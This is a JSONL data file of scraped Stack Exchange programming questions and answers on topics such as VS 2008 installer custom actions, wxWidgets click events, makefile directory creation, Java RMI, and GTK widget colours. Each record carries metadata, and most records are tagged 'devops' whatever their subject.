{"id": "hf_054510a50b2e", "question": "<p>I need to execute a batch file as part of the un-install process in a Windows installer project (standard OOTB VS 2008 installer project-vdproj).  One cannot execute a bat file directly from the Custom Actions in the installer project, so I wrote a quick vbs script to call the required bat file.<br>\nvbs code: </p>\n\n<pre><code>Set WshShell = WScript.CreateObject( \"WScript.Shell\" )\ncommand = \"uninstall-windows-serivce.bat\"\nmsgbox command\nWshShell.Run (\"cmd /C \" &amp; \"\"\"\" &amp; command &amp; \"\"\"\")\nSet WshShell = Nothing\n</code></pre>\n\n<p>When this script is run independent of the uninstall, it works perfectly.  However, when run as part of the uninstall, it does not execute the bat file (but the message box is shown, so I know the vbs file is called).  No errors reported (at least that I can tell).  Why doesn't this script work as part of the \"Uninstall Custom Action\"</p>\n", "question_body": "", "answer": "In your installer class, are you overriding the Uninstall method:\n```\n```\nPublic Overrides Sub Uninstall(ByVal savedState As System.Collections.IDictionary)\n            MyBase.Uninstall(savedState)\n           'Shell to batch file here\n    End Sub\n```\n```\nAnd secondly, have you qualified the full path to the batch file?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.920474"}
{"id": "hf_0b3944064b88", "question": "<p>When using an IoC container, is it considered good design to inject other classes into them? i.e. a persistence class</p>\n", "question_body": "", "answer": "This is the\nSpreadsheet Conundrum\n: do you write repository.store(entity) or entity.storeIn(repository)?\nEach has its merits. I generally tend to favor repository.store(entity) for the main reason that I keep the methods of my entities domain-focused. It makes sense to write pen.dispenseInkOnto(Surface) because that is what pens do. It makes a little less sense to write pen.storeIn(penRepository).\nThe downside is you need to provide access to the internals of the entity class to the persistence class. Aside from getters, which introduce the same problem as entity.storeIn(), I'd go with a friend class, package protected access, internal access, or a\nfriend class pattern\nof some kind to restrict access to internal to only those who need it.\nAs far general injection of classes, in the pen.dispenseInkOnto(Surface) example, you could very well make Surface an interface and use injection. I see no problem with this as long as you inject other entities, value objects, or services.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.943951"}
{"id": "hf_a15e5487a9b9", "question": "<p>I'm looking for a method to assign variables with patterns in regular expressions with C++ .NET\nsomething like </p>\n\n<pre><code>String^ speed;\nString^ size;\n</code></pre>\n\n<p>\"command SPEED=[speed] SIZE=[size]\"</p>\n\n<p>Right now I'm using IndexOf() and Substring() but it is quite ugly</p>\n", "question_body": "", "answer": "If you put all the variables in a class, you can use reflection to iterate over its fields, getting their names and values and plugging them into a string.\nGiven an instance of some class named InputArgs:\n```\n```\nforeach (FieldInfo f in typeof(InputArgs).GetFields()) {\n    string = Regex.replace(\"\\\\[\" + f.Name + \"\\\\]\",\n        f.GetValue(InputArgs).ToString());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.979213"}
{"id": "hf_db446431d54d", "question": "<p>In c#, we have interfaces.  Where did these come from?  They didn't exist in c++.</p>\n", "question_body": "", "answer": "Java, perhaps?\nhttp://java.sun.com/docs/books/tutorial/java/concepts/interface.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.025790"}
{"id": "hf_f8fbc533204a", "question": "<p>How to add a click event listener to my custom control made with wxWidgets? The custom control uses wxWindow as the base. On the event list I see </p>\n\n<pre><code>wxEVT_LEFT_DOWN \nwxEVT_LEFT_UP \nwxEVT_LEFT_DCLICK\nwxEVT_MIDDLE_DOWN\nwxEVT_MIDDLE_UP \nwxEVT_MIDDLE_DCLICK\nwxEVT_RIGHT_DOWN \nwxEVT_RIGHT_UP\nwxEVT_RIGHT_DCLICK\nwxEVT_MOTION\nwxEVT_ENTER_WINDOW\nwxEVT_LEAVE_WINDOW\nwxEVT_MOUSEWHEEL \n</code></pre>\n\n<p>But there is no <code>wxEVT_LEFT_CLICK</code> or similar. </p>\n", "question_body": "", "answer": "Typically, there is no \"click\" event (and in the case of\nwxWidgets\n-\nthere isn't\n). The action of clicking is broken into its two parts: Mouse Down and Mouse Up. Typically what you think of as a \"left click\" event is actually handled in a \"left up\" event.\nTry it out:\nHover over a button (such as the \"Add Comment\" button this page)\nClick the left-mouse button down and hold\nMove the mouse off of the button while holding down\nRelease the left-mouse button\nNothing happens!\nThis time:\nHover over the same button\nClick the\nleft-mouse button down and hold\nRelease the left-mouse button\nThe \"click\" action you expect is triggered by the up event!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.113403"}
{"id": "hf_3d44f40f186d", "question": "<p>How do I write a cpp macro which expands to include newlines?</p>\n", "question_body": "", "answer": "Use\n```\n\\\n```\n, like so:\n```\n```\n#define my_multiline_macro(a, b, c) \\\nif (a) { \\\n    b += c; \\\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.136311"}
{"id": "hf_3127a58c480c", "question": "<p>What are the pros/cons of using black-box reuse over white-box reuse?</p>\n", "question_body": "", "answer": "White-box:\npros:\nsimple (very natural concept)\nyou have more control over things\ncons:\nrequires intrinsic knowledge on\ncomponent internals\ncan be difficult to implement (OO inheritance constraints)\nsometimes it leads to broken\\incorrect inheritance chains\nBlack-box:\npros:\nlow coupling (gives late binding and other goodies)\ncons:\nnot obvious (code is much harder to understand)\ninterfaces are more fragile than classes (i.e. interfaces vs inheritance)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.154766"}
{"id": "hf_55b57381b7fb", "question": "<p>We are running Selenium regression tests against our existing code base, and certain screens in our web app use pop-ups for intermediate steps.</p>\n\n<p>Currently we use the commands in the test:</p>\n\n<pre><code>// force new window to open at this point - so we can select it later\nselenium().getEval(\"this.browserbot.getCurrentWindow().open('', 'enquiryPopup')\");\nselenium().click(\"//input[@value='Submit']\");\nselenium().waitForPopUp(\"enquiryPopup\", getWaitTime());\nselenium().selectWindow(\"enquiryPopup\");\n</code></pre>\n\n<p>...which works <em>most of the time</em>. Occasionally the test will fail on the <code>waitForPopUp()</code> line with </p>\n\n<pre><code>com.thoughtworks.selenium.SeleniumException: Permission denied\n</code></pre>\n\n<p>Can anyone suggest a better, more <em>reliable</em> method?</p>\n\n<p>Also, we primarily run these tests on IE6 and 7.</p>\n", "question_body": "", "answer": "If you are running in *iehta mode then you are going to run into some glitches here and there. We run Selenium at my job and there seem to be lots of issues with IE and AJAX.\nHowever, it sounds like the issue you are running into is one where Selenium is trying to access a component in another window before it completely loads up. I am not sure what your default timeout range is set to, but you may want to try increasing it to 60 (60000ms) seconds or so to get past the issue.\nOther than that I would suggest running your tests in Firefox (using *chrome) as it produces much more reliable results, but sometimes it is simply not possible due to business requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.220536"}
{"id": "hf_90d62bfcad2e", "question": "<p>If given the choice, which path would you take?</p>\n\n<blockquote>\n  <p>ASP.NET Webforms + ASP.NET AJAX</p>\n</blockquote>\n\n<p><strong>or</strong></p>\n\n<blockquote>\n  <p>ASP.NET MVC + JavaScript Framework of your Choice</p>\n</blockquote>\n\n<p>Are there any limitations that ASP.NET Webforms / ASP.NET AJAX has vis-a-vis MVC? </p>\n", "question_body": "", "answer": "I love webforms, but ASP.NET AJAX is a pile of crap.\nI prefer to use WebForms + custom HTTPHandlers handling the server side of any AJAX calls.\nHeh, downvoted...\nASP.NET AJAX Is a pile of crap because a callback requires the entire page class to be reinstantiated, you aren't calling a single method, you are rebuilding the entire page on the server everytime.\nAlso, UpdatePanels return the entire page, only the section in the update panel is popped in, its a total waste of bandwidth.\nI understand why its done this way, because WebForms controls can't really be easily other ways, but it still is really lousy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.256025"}
{"id": "hf_071ad653cd61", "question": "<p>Is it possible to check what version of BPL (ie Rtl70.BPL, Indy70.bpl etc) are installed on a clients computer when the program starts?</p>\n\n<p>I have had some programs crash because the BPL on there computer is different to the ones on the build machine.<br>\nIf i have to add each BPL used into the installer on each update, i think it will defeat one of the points on using them.</p>\n\n<p>Delphi 7, if it makes a difference</p>\n\n<p><hr>\nJust a follow up on the issue i had.<br>\nThe rtl70.bpl file was only slightly different between the build computer and the clients.</p>\n\n<blockquote>\n  <p>Clients Computer: 7.0.4.453 760 KB (778,240 bytes)  Tuesday, 20 August 2002, 4:40:26 PM<br>\n  Build computer: 7.0.4.453  760 KB (778,240 bytes)  ‎Friday, ‎9 ‎August ‎2002, ‏‎11:30:00 PM</p>\n</blockquote>\n\n<p>The updater i was using ignored them as being the same (no change in build number), but when i manually deleted and copied the files every thing seemed to work.</p>\n", "question_body": "", "answer": "If your program crashes, it's probably because it can't load the library it's dynamically linked with. (As you where saying, this happens when the system can't find a copy of the needed libaries anywhere in the search path).\nThe problem is, that this happens at startup of an application, which the Windows OS does via an API called\nMapAndLoad\n(also read\nthis\n). This API is called before your application is even started, so I see no way to intercept this.\nOne suggestion I could give, would be to use a launcher (which has to be statically linked, to prevent problems for when there are /no/ libraries at all).\nThis launcher could inspect your actual application, see what imports it needs, checks your environment and display a nice failure/troubleshooting suggestion dialog to the user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.279527"}
{"id": "hf_a2f541cd59b2", "question": "<p>What is the best way to generate a current datestamp in Java? </p>\n\n<p>YYYY-MM-DD:hh-mm-ss</p>\n", "question_body": "", "answer": "```\n```\nDate d = new Date();\nString formatted = new SimpleDateFormat (\"yyyy-MM-dd:HH-mm-ss\").format (d);\nSystem.out.println (formatted);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.324951"}
{"id": "hf_b0d01e52bc1c", "question": "<p>I need to generate a directory in my makefile and I would like to not get the \"directory already exists error\" over and over even though I can easily ignore it.</p>\n\n<p>I mainly use mingw/msys but would like something that works across other shells/systems  too.</p>\n\n<p>I tried this but it didn't work, any ideas?</p>\n\n<pre><code>ifeq (,$(findstring $(OBJDIR),$(wildcard $(OBJDIR) )))\n-mkdir $(OBJDIR)\nendif\n</code></pre>\n", "question_body": "", "answer": "If having the directory already exist is not a problem for you, you could just redirect stderr for that command, getting rid of the error message:\n```\n```\n-mkdir $(OBJDIR) 2>/dev/null\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.373356"}
{"id": "hf_1c1015d92e57", "question": "<p>I am trying to get Haml to work with my Ruby on Rails project. I am new to Ruby on Rails and I really like it. However, when I attempt to add an <code>aplication.html.haml</code> or <code>index.html.haml</code> for a view, I just receive errors.</p>\n\n<p>I am using NetBeans as my IDE.</p>\n", "question_body": "", "answer": "First,\ninstall haml\nas a gem in bundler by adding this to your\n```\nGemfile\n```\n:\n```\n```\ngem \"haml\"\n```\n```\nRun\n```\nbundle install\n```\n, then make sure your views are named with a\n*.html.haml\nextension.  For example:\n```\n```\n`-- app\n    `-- views\n        |-- layouts\n        |   `-- application.html.haml\n        `-- users\n            |-- edit.html.haml\n            |-- index.html.haml\n            |-- new.html.haml\n            `-- show.html.haml\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.432638"}
{"id": "hf_2ce7316ad9ba", "question": "<p>For RMI on server-side, do we need to start <code>rmiregistry</code> program, or just call <code>LocateRegistry.createRegistry</code>? \nIf both are possible, what are the advantages and disadvantages?</p>\n", "question_body": "", "answer": "They're the same thing...\n```\nrmiregistry\n```\nis a separate program, which you can run from a command line or a script, while\n```\nLocateRegistry.createRegistry\n```\ndoes the same thing programatically.\nIn my experience, for \"real\" servers you will want to use\n```\nrmiregistry\n```\nso that you know it's always running regardless of whether or not the client application is started.\n```\ncreateRegistry\n```\nis very useful for testing, as you can start and stop the registry from your test as necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.468821"}
{"id": "hf_326ab438e3bb", "question": "<p>For example, referencing something as System.Data.Datagrid as opposed to just Datagrid. Please provide examples and explanation. Thanks.</p>\n", "question_body": "", "answer": "You're being very explicit about the type you're referencing, and that is a benefit. Although, in the very same process you're giving up code clarity, which clearly is a downside in my case, as I want code to be readable and understandable. I go for the short version unless I have a conflict in different namespaces which can only be solved with the explicit referencing to classes.. Unless I make an alias for it with the keyword using:\n```\n```\nusing Datagrid = System.Data.Datagrid;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.554637"}
{"id": "hf_124762468fbf", "question": "<p>What if a Java allow both static and dynamic types. That might allow the best of both worlds. i.e.:</p>\n\n<pre><code>String str = \"Hello\";\nvar temp = str;\ntemp = 10;\ntemp = temp * 5;\n</code></pre>\n\n<ol>\n<li>Would that be possible?</li>\n<li>Would that be beneficial?</li>\n<li>Do any languages currently support both and how well does it work out?</li>\n</ol>\n\n<p>Here is a better example (generics can't be used but the program does know the type):</p>\n\n<pre><code>var username = HttpServletRequest.getSession().getAttribute(\"username\");//Returns a String\nif(username.length() == 0) {\n    //Error\n}\n</code></pre>\n", "question_body": "", "answer": "Can you explain the difference between your example and\n```\n```\nString str = \"Hello\";\nObject temp = str;\ntemp = 10;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.614751"}
{"id": "hf_eb9696f7b909", "question": "<p>When I print <code>&quot;\\[\\e[34m\\]sometext&quot;</code> I get some text in blue, but can I specify the shade of blue somewhere?</p>\n", "question_body": "", "answer": "You're using an ANSI escape sequence, which has very limited color options.  I use an .Xdefaults file (explained in\nthis tutorial\n).  These options won't make your shell prompt all colorful, but is used by editors such as vim.\nBe aware that .Xdefaults can be picky about UNIX (CR) vs Windows (CRLF) line endings.  Use d2u or u2d to switch line endings as necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.662774"}
{"id": "hf_7a68c85f05b8", "question": "<p>How to test if a line segment intersects an axis-aligned rectange in 2D? The segment is defined with its two ends: p1, p2. The rectangle is defined with top-left and bottom-right points.</p>\n", "question_body": "", "answer": "Use the\nCohen-Sutherland algorithm\n.\nIt's used for clipping but can be slightly tweaked for this task.  It divides 2D space up into a tic-tac-toe board with your rectangle as the \"center square\".\nthen it checks to see which of the nine regions each of your line's two points are in.\nIf both points are left, right, top, or bottom, you trivially reject.\nIf either point is inside, you trivially accept.\nIn the rare remaining cases you can do the math to intersect with whichever sides of the rectangle are possible to intersect with, based on which regions they're in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.697193"}
{"id": "hf_bd73718bb388", "question": "<p>How to check if a folder (directory) exists in Cocoa using Objective-C?</p>\n", "question_body": "", "answer": "Use\n```\nNSFileManager\n```\n's\n```\nfileExistsAtPath:isDirectory:\n```\nmethod.  See Apple's docs\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.745196"}
{"id": "hf_db3c4597e9b7", "question": "<p>Do you think that writing about software (i.e. having a blog) and speaking on software (and concepts) make you a better programmer?</p>\n", "question_body": "", "answer": "Statistically speaking yes. You only retain about 20% of what you read and hear, but 80% of what you teach.\nBy writing about something or teaching about it, you force yourself to understand the concepts on a much deeper level.\nUPDATE:\nI wanted to update this with some links to more concrete data to support the statistics that I have been taught numerous times about learning retention rates. However, it would appear there is some\ncontroversy surrounding these numbers\n, even though the\nNTL Institute for Applied Behavioral Science\nmaintains that research was done to back them up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.792075"}
{"id": "hf_363260614442", "question": "<p>My C(++) program, written and compiled using Visual C(++)/Visual Studio, runs fine on my own machine, but refuses to run on another machine. The error message I get is \"This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem.\"</p>\n", "question_body": "", "answer": "If you write a C++ program, it links dynamically to the C Runtime Library, or CRT for short. This library contains your printf, your malloc, your strtok, etcetera. The library is contained in the file called MSVCR80.DLL. This file is not by default installed on a Windows system, hence the application cannot run.\nThe solution? Either install the DLL on the target machine through VCREDIST.EXE (the Visual C++ Redistributable Package), or link to the CRT statically (plug the actual code for the used functions straight into your EXE).\nDistributing and installing VCREDIST along with a simple application is a pain in the arse, so I went for the second option: static linking. It's really easy: go to your project's properties, unfold C/C++, click Code Generation, and set the Runtime Library to one of the non-DLL options. That's all there is to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.839775"}
{"id": "hf_96f8f6a41c0c", "question": "<p>If I'm writing an application that wants to communicate some information through the use of color, how can I change the background and foreground colors of a given widget?  I would like to know how to do this in glade if it's possible, as well as programmatically (to a computed color).</p>\n\n<p>I want to know how to do this to a complex widget as well, for example, an <code>HBox</code> that contains a <code>VBox</code> that contains some <code>Labels</code>.</p>\n\n<p>Ideally this would also include a solution solution that allows me to <em>tint</em> the widget's existing colors, and identify the average colors of any images in use by the theme, so that I can programmatically compensate for any color choices which might make text unreadable or otherwise clashing - but I would be happy if I could just turn a button red.</p>\n", "question_body": "", "answer": "Example program:\n```\n```\n#include <gtk/gtk.h>\n\nstatic void on_destroy(GtkWidget* widget, gpointer data)\n{\n        gtk_main_quit ();\n}\n\nint main (int argc, char* argv[])\n{\n        GtkWidget* window;\n        GtkWidget* button;\n\n        gtk_init(&argc, &argv);\n        window = gtk_window_new(GTK_WINDOW_TOPLEVEL);\n        g_signal_connect(G_OBJECT (window), \"destroy\",\n                G_CALLBACK (on_destroy), NULL);\n        button = gtk_button_new_with_label(\"Hello world!\");\n        GdkColor red = {0, 0xffff, 0x0000, 0x0000};\n        GdkColor green = {0, 0x0000, 0xffff, 0x0000};\n        GdkColor blue = {0, 0x0000, 0x0000, 0xffff};\n        gtk_widget_modify_bg(button, GTK_STATE_NORMAL, &red);\n        gtk_widget_modify_bg(button, GTK_STATE_PRELIGHT, &green);\n        gtk_widget_modify_bg(button, GTK_STATE_ACTIVE, &blue);\n        gtk_container_add(GTK_CONTAINER(window), button);\n        gtk_widget_show_all(window);\n        gtk_main();\n        return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.868969"}
{"id": "hf_fd7468a2f60f", "question": "<p>I'm not looking so much for language-specific answers, just general models for implementing a plugin system (if you want to know, I'm using Python). I have my own idea (register callbacks, and that's about it), but I know others exist. What's normally used, and what else is reasonable?</p>\n\n<blockquote>\n  <p>What do you mean by a plugin system? Does Dependency Injection and IOC containers sounds like a good solution?</p>\n</blockquote>\n\n<p>I mean, uh, well, a way to insert functionality into the base program without altering it. I didn't intend to define it when I set out. Dependency Injection doesn't <em>look</em> particularly suitable for what I'm doing, but I don't know much about them.</p>\n", "question_body": "", "answer": "In Python you can use the entry-point system provided by\n```\nsetuptools\n```\nand\n```\npkg_resources\n```\n. Each entry point should be a function that returns information about the plugin -- name, author, setup and teardown functions, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.892299"}
{"id": "hf_101a9613c3bc", "question": "<p>Does having several levels of base classes slow down a class?  A derives B derives C derives D derives F derives G, ...</p>\n\n<p>Does multiple inheritance slow down a class?</p>\n", "question_body": "", "answer": "If there are no virtual functions, then it shouldn't. If there are then there is a performance impact in calling the virtual functions as these are called via function pointers or other indirect methods (depends on the situation). However, I do not think that the impact is related to the depth of the inheritance hierarchy.\nBrian, to be clear and answer your comment. If there are no virtual functions anywhere in your inheritance tree, then there is no performance impact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.915323"}
{"id": "hf_598a61111672", "question": "<p>What tools do you use for Automated Builds / Automated Deployments? Why?</p>\n\n<p>What tools do you recommend?</p>\n", "question_body": "", "answer": "Hudson\nfor automated builds. I chose it because it was the easiest to setup and demo. A system that's too complex and isn't slick-looking won't impress management enough to get them on-board for automated builds. Especially in a project that has a lot of inertia.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:17.961540"}
{"id": "hf_96e8043c3e24", "question": "<p>ZeroC's ICE (www.zeroc.com) looks interesting and I am interested in looking at it and comparing it to our existing software that uses WCF. In particular, our WCF app uses server callbacks (via HTTP).</p>\n\n<p>Anybody who's compared them? How did it go? I'm particularly interested in the performance aspect, since interoperability isn't much of a concern for us right now. Thanks!</p>\n", "question_body": "", "answer": "I did a very terse review of ICE a few years ago, and although I haven't compared them directly before, having reasonable knowledge of WCF my thoughts might have some relevance.\nFirstly, it's not entierely fair to compare WCF with ICE as WCF as ICE is a specific remote communication mechanism and WCF is a higher level remote communications framework.\nWhile WCF is often thought of as implementing SOAP web services, and that is indeed its main use to date, it can also be used for implementing remote services using all manner of encodings and transport channels, which means it can theoretically be used for performant comms between applications.\nIn comparison, ICE is a cross-platform remote communicaton mechanism that uses binary encoding for performant communications between applications. It's something of a simplified evolution of CORBA and is more directly comparable to CORBA, DCOM, .NET Remoting, and JNI.\nHowever, even though there's no direct correspondence between ICE and WCF, if you need your .NET app to communicate remotely then they're both contenders. Some of the decision points you might want to consider include:\nResourcing. It'll be easier to find developers with WCF experience than ICE experience.\nPerformance. If you want performance then ICE performs fast, but WCF can also be used in a performant configuration. Alternatively, .NET Remoting can provide very good performance, and whatever the MS-sponsored benchmarks say I've seen it outperform WCF by 10%.\nCross-platform. If you need to communicate with non-Windows applications then you're limited with the WCF options you can use. In addition, since every SOAP stack seems to implement the standards differently it can be a pain creating truly generic Web Services (though WS-I helps)\nIf you don't need every ounce of performance from day one, then I'd personally plump for WCF to start with, and then consider ICE if performance ever becomes critical. Even then it might be cheaper to scale out your service boxes than it is to move to ICE, and if you don't have any exotic cross-platform needs then you could always look at reconfiguring WCF for binary encoding etc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.008486"}
{"id": "hf_ec73cb6c0513", "question": "<p>I sometimes notice programs that crash on my computer with the error: \"pure virtual function call\".</p>\n\n<p>How do these programs even compile when an object cannot be created of an abstract class?</p>\n", "question_body": "", "answer": "I'd guess there is a vtbl created for the abstract class for some internal reason (it might be needed for some sort of run time type info) and something goes wrong and a real object gets it. It's a bug. That alone should say that something that can't happen is.\nPure speculation\nedit:\nlooks like I'm wrong in the case in question. OTOH IIRC some languages do allow vtbl calls out of the constructor destructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.032219"}
{"id": "hf_076eb198eceb", "question": "<p>Does excess use of AJAX affects performance? In context of big size web-applications, how do you handle AJAX requests to control asynchronous requests?</p>\n", "question_body": "", "answer": "AJAX itself (being asynchronous requests).. No not generally.\nHowever if you have an abundance of javascript and markup and have large amounts of data transferred via your xmlhttprequests then yes you can see a performance hit.  It really depends on how you want your website to function any degredation is generally avoidable if sculpted correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.068205"}
{"id": "hf_266e909d5bae", "question": "<p>After applying a CSS reset, I want to get back to 'normal' behavior for html elements like: p, h1..h6, strong, ul and li.</p>\n\n<p>Now when I say normal I mean e.g. the p element adds spacing or a carriage return like result when used, or the size of the font and boldness for a h1 tag, along with the spacing.</p>\n\n<p>I realize it is totally up to me how I want to set the style, but I want to get back to normal behavior for some of the more common elements (at least as a starting point that I can tweak later on).</p>\n", "question_body": "", "answer": "You mean like:\n```\n```\n* {\n    padding: 0;\n    margin: 0;\n}\n\nh1, h2, h3, h4, h5, h6, p, blockquote, form, label, ul, ol, dl, fieldset, address {\n    margin-bottom: 1em;\n}\n```\n```\n?\nActually, sorry I mis-read your question, you're after something more like Eric Meyer's total reset @\nhttp://meyerweb.com/eric/tools/css/reset/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.154992"}
{"id": "hf_c95dc30f1c50", "question": "<p>One of the biggest advantages of object-oriented programming is encapsulation, and one of the \"truths\" we've (or, at least, I've) been taught is that members should always be made private and made available via accessor and mutator methods, thus ensuring the ability to verify and validate the changes.</p>\n\n<p>I'm curious, though, how important this really is in practice. In particular, if you've got a more complicated member (such as a collection), it can be very tempting to just make it public rather than make a bunch of methods to get the collection's keys, add/remove items from the collection, etc.</p>\n\n<p>Do you follow the rule in general? Does your answer change depending on whether it's code written for yourself vs. to be used by others? Are there more subtle reasons I'm missing for this obfuscation?</p>\n", "question_body": "", "answer": "It's all about controlling what people can do with what you give them. The more controlling you are the more assumptions you can make.\nAlso, theorectically you can change the underlying implementation or something, but since for the most part it's:\n```\n```\nprivate Foo foo;\npublic Foo getFoo() {}\npublic void setFoo(Foo foo) {}\n```\n```\nIt's a little hard to justify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.224579"}
